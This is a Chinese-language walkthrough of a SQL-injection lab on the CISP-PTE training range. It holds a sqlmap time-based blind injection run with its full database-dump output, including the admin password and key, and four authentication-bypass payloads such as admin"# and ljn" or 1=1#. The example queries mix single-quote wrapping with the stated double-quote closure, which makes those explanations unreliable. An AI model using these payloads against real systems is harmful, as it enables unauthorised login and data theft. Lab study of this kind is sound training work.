目录
[(4)方法4:ljn" or 1=1--空格](#(4)方法4:ljn" or 1=1--空格)
本文通过5种方法演示了CISP-PTE靶场SQL注入的渗透过程。首先使用sqlmap进行时间盲注,成功获取数据库中flag的关键信息。其次展示了4种万能密码注入方式:包括双引号闭合配合#或--注释符的变种,以及or 1=1逻辑绕过验证。文章详细记录了从靶场环境搭建、用户注册、BP抓包到最终注入的全流程,特别分析了MySQL时间盲注的payload构造原理,并验证了不同注入方法的有效性。最终通过数据库dump操作获取了admin账户的密码和flag值。
一、渗透实战
1、打开靶场
打开靶场,页面提示"所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。数据库中可以找到Key1",如下所示。

点击进入答题,进入到SQL登录页面,URL地址如下所示。
http://a50cb625.clsadp.com/start/login.php
如下所示,既有登录框,也有注册页面。通常情况遇到登录的情况会考虑是否可用万能密码注入,存在注册考虑是否可能存在二次注入。由于首页提示key在数据库中,也就是说可以通过SQL注入爆出数据库的内容,这种情况需要通过SQL注入获取到数据库的内容。
2、注册普通用户
上一步中我们从提示中得知"通过SQL注入获取到数据库的内容",那么我们就需要找到有哪些存在SQL语句调用的部分,以当前登录和注册来讲,这两部分都需要进行数据库操作,其中注册需要SQL的insert操作,登录一般需要SQL查询操作,一般来讲进行insert注入对后台数据库会进行修改,我们尽量不做修改数据库的SQL注入,我们从登录部分考虑进行注入。这就意味着我们需要先注册一个账号,用户名ljn,密码mooyuan,如下所示。
注册成功后页面如下所示,此时我们新注册了账号ljn,密码mooyuan。
3、用户登录
(1)账号登录
开启burpsuite,浏览器代理指向bp,回到登录页面, 使用我们刚刚注册的账号ljn,密码mooyuan进行注入,如下所示。
登录成功后页面信息提示"请获取admin的密码,从而得到key",具体如下所示。由于登陆后没有查密码的地方,故而可以确认无法二次注入渗透。
(2)bp抓包
bp中找到此报文,并在request请求部分右键-copy to file,将其保存为ljn.txt。
(3)修改ljn.txt
在用户名后面添加*,如下所示。
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| POST /start/login.php HTTP/1.1 Host: a50cb625.clsadp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://a50cb625.clsadp.com/start/login.php Cookie: PHPSESSID=fhd3r8un25ia718c6lf90unii7 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 29 username=ljn*&password=mooyuan |
文件修改后记得保存,如下所示。
4、sqlmap注入
使用sqlmap -r ljn.txt --dump --batch --level 5进行注入,如下所示。
- -r ljn.txt:该参数指定从文件加载HTTP请求,sqlmap将解析ljn.txt文件中的完整HTTP请求数据(包括请求头、Cookie、POST参数等),基于此进行注入检测。
- --dump:这是数据导出参数,sqlmap会自动枚举数据库中的所有表结构,并导出全部表的数据内容到本地,这是最具破坏性的操作之一,会导致整个数据库的完全泄露。
- --batch:启用批处理模式,sqlmap在此模式下会自动选择所有默认选项而不需要用户交互确认,大大加快了攻击进程,但降低了攻击的隐蔽性和可控性。
- --level 5:设置检测等级为最高级5级,这会扩展测试范围至HTTP请求的所有可能参数(包括Referer、User-Agent等HTTP头部),进行最全面的注入点检测,但会产生大量测试请求,容易被安全设备发现。
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| sqlmap -r ljn.txt --dump --batch --level 5 --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=ljn" AND (SELECT 8099 FROM (SELECT(SLEEP(5)))BAAu)-- JWrq&password=mooyuan --- [00:45:33] [INFO] the back-end DBMS is MySQL [00:45:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web server operating system: Linux Ubuntu web application technology: PHP 5.5.9, Apache 2.4.7 back-end DBMS: MySQL >= 5.0.12 [00:45:34] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [00:45:34] [INFO] fetching current database [00:45:34] [INFO] retrieved: do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [00:45:51] [INFO] adjusting time delay to 4 seconds due to good response times uinfo [00:46:58] [ERROR] invalid character detected. retrying.. [00:46:58] [WARNING] increasing time delay to 5 seconds [00:46:58] [INFO] fetching tables for database: 'uinfo' [00:46:58] [INFO] fetching number of tables for database 'uinfo' [00:46:58] [INFO] retrieved: 1 [00:47:04] [INFO] retrieved: users [00:48:24] [INFO] fetching columns for table 'users' in database 'uinfo' [00:48:24] [INFO] retrieved: 4 [00:48:29] [INFO] retrieved: id [00:49:02] [INFO] retrieved: username [00:51:00] [INFO] retrieved: password [00:53:56] [INFO] retrieved: remark [00:55:41] [INFO] fetching entries for table 'users' in database 'uinfo' [00:55:41] [INFO] fetching number of entries for table 'users' in database 'uinfo' [00:55:41] [INFO] retrieved: 2 [00:55:56] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) 1 [00:56:12] [INFO] retrieved: zBOLTHN4xF [01:00:44] [INFO] retrieved: the key is nd8qd9sa [01:07:42] [INFO] retrieved: admin [01:09:15] [INFO] retrieved: 35 [01:09:45] [INFO] retrieved: mooyuan [01:12:20] [ERROR] invalid character detected. retrying.. [01:12:20] [WARNING] increasing time delay to 7 seconds [01:12:21] [INFO] retrieved: 请获取admin的密码,从而得到key [03:21:09] [INFO] retrieved: ljn [03:23:01] [ERROR] invalid character detected. retrying.. [03:23:01] [WARNING] increasing time delay to 9 seconds Database: uinfo Table: users [2 entries] +----+---------------------+------------+----------+ | id | remark | password | username | +----+---------------------+------------+----------+ | 1 | the key is nd8qd9sa | zBOLTHN4xF | admin | | 35 | 请获取admin的密码,从而得到key | mooyuan | ljn | +----+---------------------+------------+----------+ [03:23:01] [INFO] table 'uinfo.users' dumped to CSV file '/root/.local/share/sqlmap/output/a50cb625.clsadp.com/dump/uinfo/users.csv' [03:23:01] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 805 times [03:23:01] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/a50cb625.clsadp.com' [03:23:01] [WARNING] your sqlmap version is outdated [*] ending @ 03:23:01 /2025-10-23/ |
输出的数据库信息中,关键信息如下所示。
|---------------------|
| the key is nd8qd9sa |
二、万能密码法注入
1、分析闭合
根据sqlmap结果中的时间盲注payload,可知闭合方式为双引号,注释符号--空格可用。
- 检测技术:基于SLEEP函数的时间延迟检测
- 攻击载荷:username=ljn" AND (SELECT 8099 FROM (SELECT(SLEEP(5)))BAAu)-- JWrq
- 闭合方式:使用双引号"闭合原查询语句
- 延迟设置:SLEEP(5)强制查询暂停5秒
- 注释技巧:-- JWrq注释掉后续SQL代码
- 子查询结构:嵌套SELECT避免语法错误
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=ljn" AND (SELECT 8099 FROM (SELECT(SLEEP(5)))BAAu)-- JWrq&password=mooyuan --- |
2、万能密码
(1)方法1:admin"#
输入用户名admin"# 密码随机mooyuan,如下所示渗透成功,获取到flag。
-
原理 :这里的双引号
"用于闭合原查询中用户名前的引号,井号#在MySQL中表示行注释,它会将其后的所有SQL代码都注释掉。因此,注入后的实际执行的查询变为:SELECT * FROM users WHERE username = 'admin"#' AND password = '随机密码'
等价于:SELECT * FROM users WHERE username = 'admin' -
解释 :查询只检查用户名是否为
admin,而完全忽略了密码验证部分。由于admin用户存在,所以登录成功。
(2)方法2:admin"--空格
-
原理 :此方法与第一种原理完全相同。双引号
"用于闭合,--(后面必须跟一个空格)是另一种SQL注释符。注入后的查询变为:SELECT * FROM users WHERE username = 'admin"-- ' AND password = '随机密码'
等价于:SELECT * FROM users WHERE username = 'admin' -
解释 :
--注释符使得AND password...条件失效,查询同样只验证了用户名,因此成功以管理员身份登录。
(3)方法3:ljn" or 1=1#
-
原理 :本方法更为通用,不依赖于已知的用户名。双引号
"闭合原字符串,or 1=1添加一个永真条件,#注释掉剩余部分。注入后的查询变为:SELECT * FROM users WHERE username = 'ljn" or 1=1#' AND password = '随机密码'
等价于:SELECT * FROM users WHERE username = 'ljn' or 1=1 -
解释 :由于
1=1永远成立,这个WHERE条件会对数据库中的第一条用户记录 返回真。通常应用程序会取返回的第一条记录作为登录用户,因此无论输入的用户名ljn是否存在,都能以系统中存在的第一个用户(通常是管理员)身份登录。
(4)方法4:ljn" or 1=1--空格
-
原理 :此方法是方法3的变体,只是将注释符从
#换成了--。其原理与方法3完全一致。注入后的查询变为:SELECT * FROM users WHERE username = 'ljn" or 1=1-- ' AND password = '随机密码'
等价于:SELECT * FROM users WHERE username = 'ljn' or 1=1 -
解释 :同样是利用
or 1=1这个永真条件,使得查询返回数据库中的有效用户记录,从而绕过密码验证,成功登录系统内的第一个账户。